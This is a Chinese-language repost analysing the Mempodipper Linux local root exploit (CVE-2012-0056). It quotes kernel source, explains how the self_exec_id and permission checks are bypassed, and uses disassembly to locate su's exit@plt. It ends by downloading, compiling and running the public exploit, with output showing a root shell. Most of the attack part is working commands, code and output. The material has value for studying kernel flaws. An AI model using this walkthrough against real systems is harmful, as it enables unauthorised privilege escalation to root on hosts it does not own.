小知识:Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)

Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)

 /proc/pid/mem是一个用于读取和写入,直接通过各地寻求与相同的地址作为该进程的虚拟内存空间进程内存的接口。

 影响Linux 内核> = 2.6.39

 当打开/proc/pid/mem时,会调用此内核代码:

 
复制代码

代码如下:

static int mem_open(struct inode* inode, struct file* file)

{

file->private_data = (void*)((long)current->self_exec_id);

file->f_mode |= FMODE_UNSIGNED_OFFSET;

return 0;

}

 任何人都可以打开/proc/pid/mem fd 的任何进程写入 和读取,不过,有权限检查限制。让我们看看写功能:

复制代码

代码如下:

static ssize_t mem_write(struct file * file, const char __user *buf,

size_t count, loff_t *ppos)

{

struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);

mm = check_mem_permission(task);

copied = PTR_ERR(mm);

if (IS_ERR(mm))

goto out_free;

if (file->private_data != (void *)((long)current->self_exec_id))

goto out_mm;

 看代码有两个检查,以防止未经授权的写操作:

复制代码

代码如下:

check_mem_permission和self_exec_id。

Check_mem_permission的代码只需调用到__check_mem_permission,代码:

static struct mm_struct *__check_mem_permission(struct task_struct *task)

{

struct mm_struct *mm;

mm = get_task_mm(task);

if (!mm)

return ERR_PTR(-EINVAL);

if (task == current)

return mm;

if (task_is_stopped_or_traced(task)) {

int match;

rcu_read_lock();

match = (ptrace_parent(task) == current);

rcu_read_unlock();

if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))

return mm;

}

mmput(mm);

return ERR_PTR(-EPERM);

}

 有两种方法能对内存写入。

复制代码

代码如下:

$ su “hsmw fuck you”

Unknown id: hsmw fuck you

可以看到su的stderr 的输出“Unknown id:”,我们可以fd 打开/proc/self/mem, 来确定在内存中的位置, 然后dup2 stderr 和mem fd, 把su $shellcode 写入到内存中,获得root.

已task == current测试, 用self_exec_id 匹配self_exec_id 来检测fd 的打开。

Self_exec_id在内核中只引用的少数几个地方。

void setup_new_exec(struct linux_binprm * bprm)

{

current->self_exec_id++;

flush_signal_handlers(current, 0);

flush_old_files(current->files);

}

EXPORT_SYMBOL(setup_new_exec); 

 我们创建一个子进程,用self_exec_id来exec 到一个新的进程里面。当我们exec一个新的进程,self_exec_id会产生一个增量。这里程序忙与execing到我们的shellcode写su,所以其self_exec_id得到 相同的值递增。所以我们要做的是把exec一个新的进程,fd /proc/parent-pid/mem 到父进程的PID。这个时候的FD是因为没有权限仅仅打开检查。当它被打开,其self_exec_id来时起作用,把我们exec来su,用self_exec_id将递增。通过我们打开的FD从子进程返回父进程,dup2,和exec 溢出代码到su.  接下来调试溢出的地址和ASLR随机进程的空间地址。  在这里得到错误字符串:   403677:       ba 05 00 00 00          mov    $0x5,%edx    40367c:       be ff 64 40 00          mov    $0x4064ff,%esi    403681:       31 ff                   xor    %edi,%edi    403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)  然后把它写入到stderr:   403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)    40368f:       48 89 c2                mov    %rax,%rdx    403692:       b9 20 88 60 00          mov    $0x608820,%ecx    403697:       be 01 00 00 00          mov    $0x1,%esi    40369c:       31 c0                   xor    %eax,%eax    40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)  关闭日志;  4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)  退出程序;   4036a8:       bf 01 00 00 00          mov    $0x1,%edi    4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)  这里可以看到0×402178,这是它调用exit函数。我们来调试“Unknown id:” 的shellcode地址。  $objdump -d /bin/su|grep <exit@plt>|head -n 1|cut -d -f 1|sed s/^[0]*\([^0]*\)/0x\1/  0x402178  它会设置uid 和gid 为0 去执行一个SHELL。还可以重新打开dup2ing 内存之前,stderr fd 到stderr,  我们选择另一个fd dup stderr,在shellcode,到我们dup2 ,其他fd回来到stderr。  EXP 老外写好了。插入一段

复制代码

代码如下:

wget http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c

CVE-2012-0056 $ ls

build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s

CVE-2012-0056 $ gcc mempodipper.c -o mempodipper

CVE-2012-0056 $ ./mempodipper

===============================

= Mempodipper =

= by zx2c4 =

= Jan 21, 2012 =

===============================

[+] Waiting for transferred fd in parent.

[+] Executing child from child fork.

[+] Opening parent mem /proc/6454/mem in child.

[+] Sending fd 3 to parent.

[+] Received fd at 5.

[+] Assigning fd 5 to stderr.

[+] Reading su for exit@plt.

[+] Resolved exit@plt to 0x402178.

[+] Seeking to offset 0x40216c.

[+] Executing su with shellcode.

sh-4.2# whoami

root

sh-4.2#

摘自 混世魔王博客

声明: 猿站网有关资源均来自网络搜集与网友提供,任何涉及商业盈利目的的均不得使用,否则产生的一切后果将由您自己承担! 本平台资源仅供个人学习交流、测试使用 所有内容请在下载后24小时内删除,制止非法恶意传播,不对任何下载或转载者造成的危害负任何法律责任!也请大家支持、购置正版! 。本站一律禁止以任何方式发布或转载任何违法的相关信息访客发现请向站长举报,会员发帖仅代表会员个人观点,并不代表本站赞同其观点和对其真实性负责。本网站的资源部分来源于网络,如有侵权烦请发送邮件至:2697268773@qq.com进行处理。
建站知识

小知识:nginx做负载CDN加速获取端真实ip

2023-5-22 4:50:47

建站知识

小知识:linux下磁盘查看命令分享

2023-5-22 5:07:22

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索